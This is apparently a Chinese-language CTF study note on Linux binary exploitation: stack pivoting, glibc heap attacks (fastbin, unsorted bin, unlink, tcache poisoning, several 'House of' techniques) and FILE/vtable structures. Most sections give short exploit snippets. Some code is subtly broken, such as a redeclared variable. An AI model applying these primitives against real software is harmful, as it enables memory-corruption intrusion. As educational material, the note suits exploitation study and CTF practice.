stack pivoting

把ret指针修改为jmp esp的地址,其后加上asm(sub esp,20,;jmp esp),来跳转到shellcode处(ps:20表示偏移量20,需修改)

frame faking

利用leave劫持ebp,从而使得ret到ebp+8

基于堆类型

unsorted bin

FIFO:先进先出

free后,fd和bk为main_arena加上一定偏移的地址,可用于泄漏libc地址。

fastbin

FILO:先进后出

连续两次free相同大小后,最后一个free的fd指向前一个free的地址,可通过修改该值后用于申请任意地址。

Tcache

FILO:先进后出

free时每类大小的bin中可存放7个tcache,其fd指向下一个tcache。

malloc时如果从fastbin中申请一个块,则剩下的块存入tcache中至满。

连续两次free相同大小后,最后一个free的fd指向前一个free的地址,可通过修改该值后用于申请任意地址。

large bin

为双向链表,构造时需要同时修改fd与bk

基于堆的攻击方法

Overflow directly

直接溢出,最容易利用,需要构造好块

UAF

free后未把指针置NULL,可重复使用该指针

Double Free

通常与UAF一起出现

常见套路:

1
2
3
free(1)
free(2)
free(1)

这时申请到的块依次为1->2->1,fastbin可通过此任意申请地址

fastbin attack

原理:修改fd指针伪造fastbin链。

1
2
3
4
5
6
7
new(0,0x60)
new(1,0x60)
free(0)
free(1)
edit(1,8,p64(ptr))#UAF
new(2,0x60)
new(3,0x60)

此时3的地址为ptr+0x10,注意,ptr+8处的值应对应申请的fastbin大小。

global_max_fast

2.23版本位于0x3c67f8处

修改后可将fastbin范围扩大,更容易使用fastbin相关攻击。

fastbin dup consolidate

通过申请largebin触发malloc_consolidate,即可将原本free的fastbin放入unsortbin中,然后再次free。

利用方式:

1
2
3
4
5
new(0,0x40)
new(1,0x40)
free(0)
new(2,0x400)
free(0)

此时fastbin和unsortbin中都有0对应的地址。

large bin attack

与fastbin类似,但需要bk。(双向链表)

unsorted bin attack

free后控制bk指针填入一个地址,再申请同样大小的块,即可向(指定地址+2*size)处填入类似[main_arena+88]的地址。

利用套路:

1
2
3
4
5
6
ptr = 0x602180
new(0,0x400)
new(9,10)
free(0)
edit(0,0x10,p64(0)+p64(ptr-0*10))
new(1,0x400)

此时0处地址为[main_arena+88]的地址。

注:堆的申请应该在unsortbin之前完成,否则会报错

unsorted bin into stac

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
intptr_t stack_buffer[4] = {0};
intptr_t* victim = malloc(0x100);
intptr_t* p1 = malloc(0x100);
free(victim);
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
intptr_t* victim = malloc(0x100);
}

此时victim1的地址与stack_buffer相同

overlap

利用条件:off by one或off by null

chunk extend

通过把p位置置0来伪造前面块为freed状态,并且prev_size为前面的伪造free的大小,从而重复申请得到两个指向同一地址的指针

常见利用方式:

1
2
3
4
5
6
7
8
9
malloc(0,0xf8)
malloc(1,0xf8)
malloc(2,0xf8)
malloc(3,0xf8)
free(0)
edit(2,'a'*0xf0+p64(0x300))
free(3)
malloc(0,0xf8)
malloc(4,0xf8)#1

此时4的地址与1相同

chunk shrink

原理:申请时分割用了size位,free时向前合并时只检查了prev_size

利用方式:

1
2
3
4
5
6
7
8
9
10
11
new(0,0x218)
new(1,0x218)
new(2,0x218)
edit(2,0x200,'\x00'*0x1f0+p64(0x200)+p64(0x20))
new(3,0x218)
free(2)
edit(1,0x219,'\x00'*0x218+'\x00')#将2的size位设为0x200,避免覆盖到3的prev_size位
new(2,0x100)
new(4,0x80)#获取一个指针留用
free(2)#将2放入unsortbin中
free(3)

free(3)后2变为top chunk,通过构造后可以再申请回4处的地址

new(small bin unlink)

在free中若p位为0,则会进行合并,并且将P->bk->fd赋值为P->fd。

利用方式:

1
2
3
4
5
6
7
8
9
10
11
12
ptr = 0x602180+0x8#ptr为指向伪造的堆块的地址
malloc(0,0x100)
malloc(1,0x30)
malloc(2,0x80)
malloc(3,0x30)
fd = ptr - 0x18
bk = ptr - 0x10
pay = p64(0)+p64(0x30)+p64(fd)+p64(bk)
pay += 'a'*0x10
pay += p64(0x30)+p64(0x90)
edit(1,len(pay),pay)#伪造堆
free(2)

此时ptr处的地址会被更改为ptr-0x18相应地址的值(即伪造堆的fd)

old

旧版的libc(picoctf2019有出现,但就是不知道怎么编译的),一般是32位的程序

将当前堆的prev_size和size位置为0xfffffffc,则会认为上一块的位置为p-(-0x4)。(size位可随意填写)

设fd覆盖为p,bk覆盖为q。

则free相邻的前一个块后,*(q+8)=p, *(p+0xc)=q。

(好像还有其他的利用方法。。。不是很懂,没有具体的程序可以分析,不过picoctf那道倒是这么做的)

Tcache

tcache poisoning

覆盖 tcache entry 结构体中的 next 域,不经过任何伪造(不需要检查size位) chunk 即可分配到另外地址,类似于fastbin attack。

利用方式:

1
2
3
4
5
6
7
ptr = 0x602180
new(0,0x400)
new(9,0x400)
free(0)
edit(0,8,p64(ptr))
new(3,0x400)
new(4,0x400)

此时4的地址为ptr。

tcache dup

类似于 fastbin 的double free,就是多次释放同一个tcache,形成环状链表

tcache perthread corruption

控制tcache_perthread_struct结构体

修改其中相应大小bins的数量及地址,即可任意申请

tcache house of spirit

free 内存后,使得栈上的一块地址进入 tcache 链表,这样再次分配的时候就能把这块地址分配出来

在 smallbin 中包含有空闲块的时候,会同时将同大小的其他空闲块,放入 tcache 中,此时也会出现解链操作,但相比于 unlink 宏,缺少了链完整性校验。因此,原本 unlink 操作在该条件下也可以使用。

house of 系列

house of spirit

  1. 伪造堆块
  2. 覆盖堆指针指向上面伪造堆
  3. 释放堆块
  4. 申请堆块

例题:l-ctf2016–pwn200

House Of Einherjar

2.23

  1. 申请a、b块
  2. 并且伪造堆块(prev_size、size位任意,fd、bk都设置为堆块本身)
  3. 将b的prev_inuse置0,并把b的prev_size位设置为b->fd的地址减去伪造堆的地址
  4. 伪造堆的size位同样设置为b->fd的地址减去伪造堆的地址
  5. 释放掉堆块b,此时再申请即从伪造堆处开始

2.27

  1. 申请a、b块
  2. 并且伪造堆块(prev_size、size位任意,fd、bk都设置为堆块本身)
  3. 将b的prev_inuse置0,并把b的prev_size位设置为b->fd的地址减去伪造堆的地址
  4. 伪造堆的size位同样设置为b->fd的地址减去伪造堆的地址,并且将相邻的下一堆块的prev_size设置为同样的b->fd的地址减去伪造堆的地址
  5. 释放掉堆块b,此时再申请即从伪造堆处开始

House of Force

利用条件:

  1. 能够控制top chunk的size位
  2. 能自用控制malloc的分配大小
  3. 分配的次数不能受限制

利用方法:

  1. 申请堆块a
  2. 将topchunk的size改为-1
  3. 申请(addr-0x28)-topchunk_addr的块
  4. 再申请块,即可获得指向addr的块

House of Lore

  1. 申请堆块a,b
  2. 伪造堆块f1,f2:其中f1的prev_size和size位为0,fd指向堆块a,bk指向堆块f2;f2的fd指向f1
  3. 释放堆块a
  4. 申请堆块c
  5. 设置堆块a的bk为f1的地址
  6. 申请堆块d、e,则堆块e指向f1

House of Orange

House of Rabbit

POC1

通过修改chunk1的size位实现overlap。

1
2
3
4
5
6
7
chunk1 = malloc(0x40);
chunk2 = malloc(0x40);
malloc(0x10);
free(chunk1);
free(chunk2);
chunk[-1]=0xa1;
malloc(0x1000)

此时chunk1对应bin的大小为0xa0;chunk2对应bin的大小为0x50,再申请对应大小堆块即可overlap。

POC2

通过修改chunk1的fd位指向伪造堆块实现overlap。

1
2
3
4
5
6
7
8
chunk1 = malloc(0x40);//0x602000
chunk2 = malloc(0x100);//0x602050
chunk2[1] = 0x31;
chunk2[7]=0x21;
chunk2[11]=0x21;
free(chunk1);
chunk1[0]=0x602060;
malloc(5000);

此时bin中存在0x50(0x602000)以及0x30(0x602060),申请即可实现overlap。

House of Roman

思路:

  • 首先分配 3chunk (A , B, C) ,大小分别为 0x20, 0xd0, 0x70
  • B + 0x78 处设置 p64(0x61) , 作用是 fake size ,用于后面 的 fastbin attack
  • 释放掉 B , B 进入 unsorted bin , 此时 B+0x10B+0x18 中有 main_arean 的地址
  • 再次分配 0xd0 , 会分配到 B, 此时 B+0x10B+0x18main_arean 的地址依然存在
  • 然后分配 30x70chunk (D , E, F), 为后续做准备
  • A 触发 单字节溢出,修改 B->size = 0x71 . 然后释放 C , D, 此时 C , D 进入 fastbin , 同时 D->fd = C. 由于 chunk之间的相对偏移固定,于是利用 uaf 修改 D->fd 的低 字节 ,使得 D->fd=B
  • 此时 B->size = 0x71 ,同时 B + 0x78p64(0x61) (第2步设置), 这就成功伪造了一个 0x70 大小的 fastbin。 此时 B->fdmain_arean 的地址,于是通过 修改 低 2个字节,可以修改到malloc_hook - 0x23 处 ( malloc_hook - 0x23 + 0x8 处的值为 p64(0x7f) )
  • 然后分配 30x70chunk, 就可以拿到包含 malloc_hookchunk, 此时 malloc_hook 内容为 0
  • 然后利用 unsorted bin 修改 malloc_hook 内容为 main_arean 的地址
  • 利用部分写修改 malloc_hookone_gadget
  • 多次释放一个指针,触发 double free 异常,进而触发 malloc_printerrgetshell

House-of-Corrosion

House of banana

1.修改largebin(ptr0)的bksize(0x20)位置为写入地址(即_rtld_global)

2.将另一同大小size(ptr1)放入largebin中,即可向对应地址写入这一新堆块地址

3.将该堆块内容修改如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//fake_rtld_global point to (ptr1-0x10)
//the chain's length must >= 4
fake_rtld_global[0] = ptr;
fake_rtld_global[1] = &fake_rtld_global[2];
fake_rtld_global[3] = fake_rtld_global_addr;
fake_rtld_global[2+3] = &fake_rtld_global[3];
fake_rtld_global[3+3] = &fake_rtld_global[8];
fake_rtld_global[2+5] = &fake_rtld_global[2];
fake_rtld_global[3+5] = &fake_rtld_global[3];
fake_rtld_global[8+3] = 0;
fake_rtld_global[8+5] = &fake_rtld_global[8];
//fake a fini_array segment
fake_rtld_global[0x20] = &fake_rtld_global[0x30];
fake_rtld_global[0x22] = &fake_rtld_global[0x23];
fake_rtld_global[0x23+1] = 0x8; //func ptrs total len
fake_rtld_global[0x30] = 0x1A;
fake_rtld_global[0x31] = 0;
fake_rtld_global[-2] = &fake_rtld_global[0x32];
//funcs
fake_rtld_global[0x32] = backdoor;
fake_rtld_global[0x61] = 0x800000000;

4.最后调用exit或者退出即可

House of pig

  1. 修改largebin(ptr0)的bksize(0x20)位置为__free_hook-0x28的地址,将另一同大小size(ptr1)放入largebin中,即可向__free_hook-0x8写入ptr1的地址。
  2. 恢复堆块,再修改(ptr0)的bksize(0x20)位置为_IO_list_all-0x20的地址,再申请其他大小的堆块将ptr1的地址写入到_IO_list_all-0x20中。
  3. 恢复堆块,并将ptr0的fd修改为main_arena+240,bk设置为__free_hook-0x20,利用tcache stashing unlink attack,将其解链后放入tcache中。(程序退出或者libc abort时会调用malloc函数申请[IO_buf_len*2+0x64]大小的堆块,并将buf中内容拷贝进去,最后调用free函数释放)
  4. 在ptr1中伪造IO结构,并修改_IO_write_ptr为1,_IO_write_ptr为0xffffffffffff,_IO_buf_base为拷贝数据,_IO_buf_end为拷贝数据结尾,并还原好IO_str_vtable。
  5. 最后调用exit或者退出即可

IO

相关结构

_IO_FILE_plus

1
2
3
4
5
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};

注:_IO_FILE是整个嵌入, _IO_jump_t为指针

FILE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags

/* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

struct _IO_marker *_markers;

struct _IO_FILE *_chain;

int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */

#define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];

/* char* _save_gptr; char* _save_egptr; */

_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

vtable IO_jump_t

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};

vtable _IO_str_jumps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
JUMP_INIT(pbackfail, _IO_str_pbackfail),
JUMP_INIT(xsputn, _IO_default_xsputn),
JUMP_INIT(xsgetn, _IO_default_xsgetn),
JUMP_INIT(seekoff, _IO_str_seekoff),
JUMP_INIT(seekpos, _IO_default_seekpos),
JUMP_INIT(setbuf, _IO_default_setbuf),
JUMP_INIT(sync, _IO_default_sync),
JUMP_INIT(doallocate, _IO_default_doallocate),
JUMP_INIT(read, _IO_default_read),
JUMP_INIT(write, _IO_default_write),
JUMP_INIT(seek, _IO_default_seek),
JUMP_INIT(close, _IO_default_close),
JUMP_INIT(stat, _IO_default_stat),
JUMP_INIT(showmanyc, _IO_default_showmanyc),
JUMP_INIT(imbue, _IO_default_imbue)
};